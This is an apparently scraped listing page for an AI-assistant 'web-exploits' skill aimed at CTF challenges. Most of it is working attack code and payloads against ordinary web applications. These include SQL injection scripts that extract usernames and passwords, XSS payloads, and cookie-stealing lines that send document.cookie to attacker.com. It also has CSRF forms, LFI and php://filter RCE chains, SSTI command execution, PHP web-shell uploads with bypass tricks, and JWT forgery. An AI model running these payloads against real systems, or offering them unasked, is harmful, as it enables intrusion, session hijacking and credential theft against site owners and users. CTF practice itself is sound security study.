菜单
Web vulnerability testing patterns for SQL injection, XSS, CSRF, LFI, SSTI, and file upload bypasses in CTF challenges. Trigger: When testing web applications, SQL injection, XSS, or file uploads.
用 Codex 或 Claude 帮你安装 复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。
基于 SOC 职业分类
Binary exploitation patterns using pwntools for buffer overflows, ROP chains, and shellcode in CTF challenges. Trigger: When solving pwn challenges, buffer overflows, ROP chains, or writing exploits.
Cryptography tools for RSA attacks, classical ciphers, XOR analysis, and frequency analysis in CTF challenges. Trigger: When solving crypto challenges, RSA, XOR, Caesar, or Vigenere ciphers.
Digital forensics tools for file carving, steganography detection, PCAP analysis, and entropy scanning in CTF challenges. Trigger: When analyzing files, steganography, PCAP traffic, or hidden data.
ICS/SCADA protocol analysis and exploitation using Ettercap MITM, Scapy packet crafting, for Modbus/TCP, IEC 104, and DNP3 protocols. Trigger: When analyzing ICS protocols, MITM attacks, Modbus, IEC 104, or DNP3.
Miscellaneous CTF tools for programming challenges, esoteric languages, QR/barcode scanning, and audio/video analysis. Trigger: When solving misc challenges, esoteric languages, QR codes, or media files.
| name | web-exploits |
| description | Web vulnerability testing patterns for SQL injection, XSS, CSRF, LFI, SSTI, and file upload bypasses in CTF challenges. Trigger: When testing web applications, SQL injection, XSS, or file uploads. |
| license | MIT |
| metadata | {"author":"ctf-arsenal","version":"1.0","category":"web-exploitation"} |
Load this skill when:
import requests
# Test for SQL injection
payloads = [
"'",
"' OR '1'='1",
"' OR '1'='1'--",
"' OR '1'='1' /*",
"admin' --",
"admin' #",
"' UNION SELECT NULL--",
]
for payload in payloads:
response = requests.post(url, data={'username': payload, 'password': 'test'})
if "error" in response.text or "mysql" in response.text.lower():
print(f"[!] Vulnerable to: {payload}")
# Step 1: Find number of columns
for i in range(1, 20):
payload = f"' UNION SELECT {','.join(['NULL']*i)}--"
response = requests.get(f"{url}?id={payload}")
if "error" not in response.text:
print(f"[+] Number of columns: {i}")
break
# Step 2: Extract data
payloads = [
"' UNION SELECT 1,version(),3--",
"' UNION SELECT 1,database(),3--",
"' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--",
"' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users'--",
"' UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users--",
]
# Time-based blind SQLi
import time
def time_based_sqli(url, param):
"""Check if parameter is vulnerable to time-based SQLi"""
payload = f"' AND SLEEP(5)--"
start = time.time()
response = requests.get(f"{url}?{param}={payload}")
elapsed = time.time() - start
if elapsed >= 5:
print(f"[+] Time-based SQLi confirmed on {param}")
return True
return False
# Boolean-based blind SQLi
def boolean_based_sqli(url):
"""Extract data character by character"""
result = ""
for i in range(1, 100): # Max 100 characters
for c in range(32, 127): # ASCII printable
payload = f"' AND ASCII(SUBSTRING(database(),{i},1))={c}--"
response = requests.get(f"{url}?id={payload}")
if "Welcome" in response.text: # Success indicator
result += chr(c)
print(f"[+] Found: {result}")
break
else:
break
return result
// Basic payloads
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<iframe src="javascript:alert(1)">
// Bypass filters
<scr<script>ipt>alert(1)</scr</script>ipt>
<img src=x onerror="alert(String.fromCharCode(88,83,83))">
<svg/onload=alert(1)>
// Extract cookies
<script>fetch('http://attacker.com/?c='+document.cookie)</script>
<img src=x onerror="location='http://attacker.com/?c='+document.cookie">
import requests
# Test stored XSS
xss_payloads = [
"<script>alert(1)</script>",
"<img src=x onerror=alert(1)>",
"<svg onload=alert(1)>",
'"><script>alert(1)</script>',
"';alert(1);//",
]
for payload in xss_payloads:
# Submit payload
requests.post(url + "/comment", data={'text': payload})
# Check if executed
response = requests.get(url + "/comments")
if payload in response.text:
print(f"[+] Stored XSS: {payload}")
<!-- CSRF PoC for form submission -->
<html>
<body>
<form action="https://target.com/change_password" method="POST">
<input type="hidden" name="new_password" value="hacked123" />
<input type="hidden" name="confirm_password" value="hacked123" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
# Test CSRF protection
import requests
session = requests.Session()
# Login first
session.post(url + "/login", data={'user': 'admin', 'pass': 'admin'})
# Try action without token
response = session.post(url + "/delete_user", data={'id': '1'})
if response.status_code == 200:
print("[!] No CSRF protection!")
# Common LFI payloads
lfi_payloads = [
"../../../../../etc/passwd",
"....//....//....//....//etc/passwd",
"..%2F..%2F..%2F..%2Fetc%2Fpasswd",
"....\/....\/....\/....\/etc\/passwd",
"/etc/passwd",
"php://filter/convert.base64-encode/resource=index.php",
"expect://whoami",
"data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7",
]
for payload in lfi_payloads:
response = requests.get(f"{url}?page={payload}")
if "root:" in response.text or "<?php" in response.text:
print(f"[+] LFI found: {payload}")
# Use php://filter to achieve RCE
filter_chain = "php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|"
filter_chain += "convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|"
# ... (full chain truncated for brevity)
filter_chain += "resource=data://,<?php system($_GET['cmd']); ?>"
response = requests.get(f"{url}?page={filter_chain}&cmd=whoami")
# Test payloads for common template engines
ssti_tests = {
'Jinja2': "{{7*7}}", # Python (Flask)
'Twig': "{{7*7}}", # PHP
'ERB': "<%= 7*7 %>", # Ruby
'Smarty': "{7*7}", # PHP
'Velocity': "#set($x=7*7)$x", # Java
}
for engine, payload in ssti_tests.items():
response = requests.get(f"{url}?name={payload}")
if "49" in response.text:
print(f"[+] {engine} SSTI detected!")
# Read file
payload = "{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}"
# RCE (Python 2)
payload = "{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil.sh', 'w').write('#!/bin/bash\\nid') }}"
# RCE (Python 3)
payload = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}"
# Test various extensions
extensions = [
'php', 'php3', 'php4', 'php5', 'phtml', 'pht',
'php.jpg', 'php.png', 'php;.jpg',
'php%00.jpg', # Null byte injection
]
for ext in extensions:
filename = f"shell.{ext}"
files = {'file': (filename, "<?php system($_GET['cmd']); ?>", 'application/x-php')}
response = requests.post(url + "/upload", files=files)
if response.status_code == 200:
print(f"[+] Uploaded: {filename}")
# Try different MIME types
content_types = [
'image/jpeg',
'image/png',
'image/gif',
'application/octet-stream',
]
for ctype in content_types:
files = {'file': ('shell.php', "<?php system($_GET['cmd']); ?>", ctype)}
response = requests.post(url + "/upload", files=files)
# Add GIF header to bypass file type checks
content = b"GIF89a" + b"<?php system($_GET['cmd']); ?>"
files = {'file': ('shell.php', content, 'image/gif')}
response = requests.post(url + "/upload", files=files)
import jwt
import base64
# Decode JWT
token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9..."
decoded = jwt.decode(token, options={"verify_signature": False})
print(decoded)
# None algorithm attack
header = base64.b64encode(b'{"typ":"JWT","alg":"none"}').strip(b'=')
payload = base64.b64encode(b'{"user":"admin"}').strip(b'=')
forged_token = header + b'.' + payload + b'.'
# Weak secret bruteforce
import hashlib
with open('wordlists/common.txt') as f:
for secret in f:
secret = secret.strip()
try:
jwt.decode(token, secret, algorithms=['HS256'])
print(f"[+] Found secret: {secret}")
break
except:
continue
| Vulnerability | Detection Pattern | Exploitation |
|---|---|---|
| SQL Injection | ', ' OR 1=1-- | ' UNION SELECT ... |
| XSS | <script>alert(1)</script> | Cookie stealing, session hijacking |
| LFI | ../../../etc/passwd | Read sensitive files, RCE via log poisoning |
| SSTI | {{7*7}}, ${7*7} | RCE via template engine |
| File Upload | Upload .php, .phtml | Web shell execution |
| CSRF | No token validation | Force user actions |
| JWT | alg: none, weak secret | Privilege escalation |
scripts/csrf_grabber.py - Extract CSRF tokens automaticallyscripts/jwt_tamper.py - JWT token manipulation toolscripts/lfi_tester.py - Automated LFI testingscripts/ssti_tester.py - SSTI detection and exploitationscripts/upload_tester.py - File upload bypass testingpayloads/sqli_basic.txt - Basic SQL injection payloadspayloads/sqli_mysql.txt - MySQL-specific payloadspayloads/xss_reflected.txt - XSS test vectorspayloads/ssti_jinja2.txt - Jinja2 SSTI payloadspayloads/cmd_injection.txt - Command injection patternspayloads/lfi.txt - LFI/path traversal payloadspayloads/ssrf.txt - SSRF test URLspayloads/file_upload_bypass.txt - Extension bypass techniqueswebshells/php_reverse.php - PHP reverse shellwebshells/aspx_cmd.aspx - ASPX command shellwebshells/jsp_cmd.jsp - JSP command shellwebshells/node_cmd.js - Node.js shelltemplates/web_requests.py - Python requests template with session handlingwordlists/ - Common username/password lists (from SecLists)web exploitation, SQL injection, SQLi, XSS, cross-site scripting, CSRF, LFI, RFI, local file inclusion, SSTI, template injection, file upload, webshell, JWT, JSON web token, command injection, path traversal, directory traversal, web security, OWASP, burp suite, requests, beautifulsoup